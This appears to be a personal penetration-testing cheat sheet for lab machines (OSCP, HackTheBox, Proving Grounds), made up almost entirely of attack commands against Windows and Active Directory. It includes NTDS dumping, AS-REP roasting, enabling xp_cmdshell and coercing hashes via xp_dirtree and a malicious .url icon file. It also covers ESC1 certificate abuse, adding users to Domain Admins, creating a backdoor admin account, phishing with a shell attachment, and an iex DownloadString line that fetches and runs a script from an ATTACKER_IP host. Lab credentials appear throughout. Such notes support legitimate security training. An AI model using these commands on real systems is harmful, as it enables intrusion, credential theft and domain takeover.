๐Ÿ“‹Enumeration Checklist

REVERT AFTER INITIAL ENUMERATION

IF PHP SHELL REQUIRED USE PHP Ivan Sincek from revshells

Sometimes if the payload is not working try:

sudo ifconfig tun0 mtu 1250
python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Windows Privesc Checklist

If windows then just use rdesktop to connect without credentials and check version

To check if Powershell or CMD:

(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell

Enumeration

Rustscan:

rustscan -a 192.168.234.62 --accessible --ulimit 5000 -- -sC -sV

Netexec

nxc winrm <ip> -u user-can-read-laps -p pass --laps 

Add name at end if administrator is a different user

nxc ldap <ip> -u user -p pass --bloodhound -c All -ns <ip>
nxc smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share 'Department Shares'
nxc smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
nxc ldap 192.168.0.104 -u harry -p '' --asreproast output.txt

or with wordlist :

nxc ldap 192.168.0.104 -u user.txt -p '' --asreproast output.txt
nxc ldap $DOMAIN_CONTROLLER -d $DOMAIN -u $USER -p $PASSWORD -M maq
nxc smb <ip> -u <localAdmin> -p <password> -M schtask_as -o USER=<logged-on-user> CMD=<cmd-command>

Quickly add user to domain admin:

powershell.exe \"Invoke-Command -ComputerName DC01 -ScriptBlock {Add-ADGroupMember -Identity 'Domain Admins' -Members USER.NAME}\"
nxc smb <ip> -u user -p pass -M security-questions

HTTP

SNMP (UDP 161)

snmpwalk -c public -v1 -t 10 192.168.50.151

Add one of these at the end in snmpwalk

1.3.6.1.2.1.25.1.6.0System Processes

1.3.6.1.2.1.25.4.2.1.2

Running Programs

1.3.6.1.2.1.25.4.2.1.4

Processes Path

1.3.6.1.2.1.25.2.3.1.4

Storage Units

1.3.6.1.2.1.25.6.3.1.2

Software Name

1.3.6.1.4.1.77.1.2.25

User Accounts

1.3.6.1.2.1.6.13.1.3

TCP Local Ports

Then try:

snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull

-v - 1 ,2c ,3

To bruteforce community strings:

hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt 10.10.255.200 snmp

Then can use snmp-check to get more info:

snmp-check -c 'community-string-here' <ip>

For brute-forcing ip:

echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254); do echo 192.168.215.$ip; done > ips
onesixtyone -c community -i ips

tftp

To bruteforce files in tftp:

sudo nmap -Pn -sU -p69 --script tftp-enum 192.168.209.149

ICMP

SMTP

  • To send an email with smtp server:

sudo swaks -t dave.wizard@supermagicorg.com --from test@supermagicorg.com --attach @config.Library-ms --server 192.168.167.199 -body @body.txt -header "Subject:Problems" -ap

Add -ap for authentication

Or:

sendemail -f 'jonas@localhost' \
-t 'mailadmin@localhost' \
-s 192.168.219.140:25 \
-u 'a spreadsheet' \
-m 'Please check this spreadsheet' \
-a shell.ods  

DNS

dig @10.10.11.174 +short support.htb any
dig @<ip> axfr flight.htb

SMB(139,445)

sudo nmap --script smb-vuln* <IP>
nxc smb 10.10.143.69-71(ip range) --gen-relay-list relay.txt
nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --rid-brute
sudo mount -t cifs -o 'user=username,password=pass' //<ip>/share /mnt/share
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.8.1.208\%USERNAME%.icon
IconIndex=1

FTP(21)

nxc ftp 192.168.0.10 -u 'marshall' -p 'badpassword' --ls
netexec ftp [IP_ADDRESS] -u [USERNAME] -p [PASSWORD] --put [LOCAL_FILE] [REMOTE_FILE]
netexec ftp [IP_ADDRESS] -u [USERNAME] -p [PASSWORD] --get [FILE]

Postgres

psql -U postgres -W -h 192.168.212.47 -p 5437
SELECT user;
\list
SELECT version();

Now check for exploits and use searchsploit -m multiple/remote/50847.py if version from 9.3 to 11.7

MSSQL

select @@version;
SELECT name FROM master.dbo.sysdatabases
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
select system_user;
exec xp_dirtree "\\10.8.1.208\share"

Catch with responder or smbserver

EXEC master.dbo.sp_configure 'show advanced options', 1;
RECONFIGURE;

or

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; 
RECONFIGURE;-- 
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

Refer PG Practice- hokkaido

RPC

rpcclient -U "" <ip> -N -c "enumdomusers" | grep -oP '\[.*?\]' | grep "0x" -v | tr -d '[]' > userlist.txt
setuserinfo christopher.lewis 23 'Admin!23'

RDP

xfreerdp /u:offsec /p:lab /v:192.168.183.250 /cert-ignore /compression /auto-reconnect /drive:/tmp,tmp +clipboard

If any black screen problems:

sudo ifconfig tun0 mtu 1250
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value 0

$username = "hackmin"
$password = ConvertTo-SecureString "Password123$" -AsPlainText -Force
New-LocalUser -Name "$username" -Password $password -FullName "$username" -Description "hackmin"
 
Add-LocalGroupMember -Group "Administrators" -Member "$username"
iex ((New-Object System.Net.WebClient).DownloadString('http://${ATTACKER_IP}:${ATTACKER_PORT}/Enable_RDP.ps1'))

Ldap

nxc ldap 192.168.235.122 -u 'fmcsorley' -p 'CrabSharkJellyfish192' --query "(objectClass=*)" "*"
nxc ldap 192.168.235.122 -u '' -p '' --query "(sAMAccountName=*)" "*"
nxc ldap <ip> -u username -p password --query "(sAMAccountName=Administrator)" ""

Change the name here

nxc ldap <ip> -u username -p password --query "(sAMAccountName=Administrator)" "sAMAccountName objectClass pwdLastSet"

To get descriptions for users:

nxc ldap 192.168.235.122 -u '' -p '' -M get-desc-users
ldapnomnom --input 10m_usernames.txt --output multiservers.txt --dnsdomain contoso.local --maxservers 32 --parallel 16
ldapnomnom --input 10m_usernames.txt --output results.txt --server 192.168.0.11 --parallel 4

Extract rootDSE attributes:

ldapnomnom --output rootDSEs.json --dump
nmap -sV --script "ldap* and not brute" <IP>` 
ldapsearch -x -H ldap://192.168.218.122 -s base namingcontexts

Get everything to grep for:

ldapsearch -x -H ldap://192.168.192.122 -D '' -w '' -b "DC=hutch,DC=offsec" > ldap-search
ldapsearch -H ldap://<ip> -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))"

Analysing:

cat ldap.txt | awl '{print $1}' | sort | uniq -c| sort -n | grep ':'

Print first word then sort then print unique and then show non repeating.grep ':' removes the base64 stuff.

ldapsearch -H ldap://<ip> -x -b "DC=absolute,DC=htb" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "

Optionally use authentication with -U and -w for username and password

ldapsearch -x -H ldap://192.168.192.122 -D '' -w '' -b "DC=hutch,DC=offsec"
  • [ ]

./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da

use -PU for potential users with elevated privileges that might have gone unnoticed

python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU

Miscellaneous

Active Directory

If linux and sudo user check: /etc/krb5.keytab

Try kerberoasting if you have credentials or a shell on the target machine

Linux

kerbrute userenum --dc dc.absolute.htb -d absolute.htb username.txt
KRB5CCNAME=d.klay.ccache ./bloodhound.py -k -dc dc.absolute.htb -ns 10.10.11.181 -c All -d absolute.htb -u d.klay@absolute.htb
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users

Windows

To enumerate for asreproastable users (PowerView):

Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl

Certificate Authority(CA)

Esc1

certipy req -u 'MAIL01$'@hybrid.vl -hashes 0f916c5246fdbc7ba95dcef4126d57bd -c 'hybrid-DC01-CA' -target 'hybrid.vl' -template 'HybridComputers' -upn 'administrator@hybrid.vl' -dc-ip 10.10.208.21 -key-size 4096 -debug
certipy auth -pfx administrator_dc01.pfx -dc-ip 10.10.208.21

Esc4

certipy template -username 'clifford.davey'@sendai.vl -password RFmoB2WplgE_3p -template SendaiComputer -save-old

DNS Records

addcomputer.py -dc-ip 10.10.67.128 -computer-pass EvilYeeb123 -computer-name evilyeeb sendai.vl/Susan.Harper:'Password123'
dnstool.py -u 'sendai.vl\evilyeeb$' -p 'EvilYeeb123' -r evilyeeb.sendai.vl -d 10.8.0.193 --action add DC.sendai.vl -dns-ip 10.10.67.128

Bloodhound

If SID is displayed it is a local account. BloodHound uses this representation of a principal when the domain identifier of the SID is from a local machine

Use Collection Loops to not miss information.

  • bloodhound.py ingestor

bloodhound.py -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all --zip

can also use -dns-tcp

(NODES)-[:RELATIONSHIP]->(NODES)

All computers in domain:

MATCH (m:Computer) RETURN m

All Users in domain:

MATCH (m:User) RETURN m

To get active sessions:

MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN p
dnschef --fakeip 10.10.225.134	
bloodhound.py -u 'rsmith' -p 'IHateEric2' -d lab.trusted.vl -dc labdc.lab.trusted.vl -c all -ns 127.0.0.1
SharpHound.exe -c All

--Loop --LoopDuration 00:10:00 to loop

cat 20240302180235_users.json | jq '.data[].Properties | .samaccountname + ":" + .description' -r

Security and Obfuscation

Impacket

ACL(Access Control List)

PowerView

Suppose we have a single user and want to enumerate ACL from there. In these examples the user is wley

Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley

Now to get ACL:

Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid} 

Without PowerView

  • To get all users list

Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
  • Now getting the data with Get-ACL:

foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl  "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}

Here we have access over damundsen

  • Then to convert the GUID use:

$guid= "00299570-246d-11d0-a768-00aa006e0529"
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
  • To further enumerate damundsen

$sid2 = Convert-NameToSid damundsen
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose
Access over HelpDesk
  • To enumerate Help Desk

Get-DomainGroup -Identity "Help Desk Level 1" | select memberof

Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
$sid=Convert-NameToSid "Domain Users"
PS C:\htb> Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}

To abuse GPO misconfiguration: SharpGPOAbuse

PFX

  • To open certificate

openssl pkcs12 -in file.pfx -info

If pfx file is encountered and it is password protected use pfx2john

  • To extract certificate and key:

openssl pkcs12 -in file.pfx -nocerts -out key.pem -nodes
openssl pkcs12 -in file.pfx -nokeys -out key.cert
  • We can use winrm to login using keys.

evil-winrm -S -i <ip> -c key.cert -k key.pem

Last updated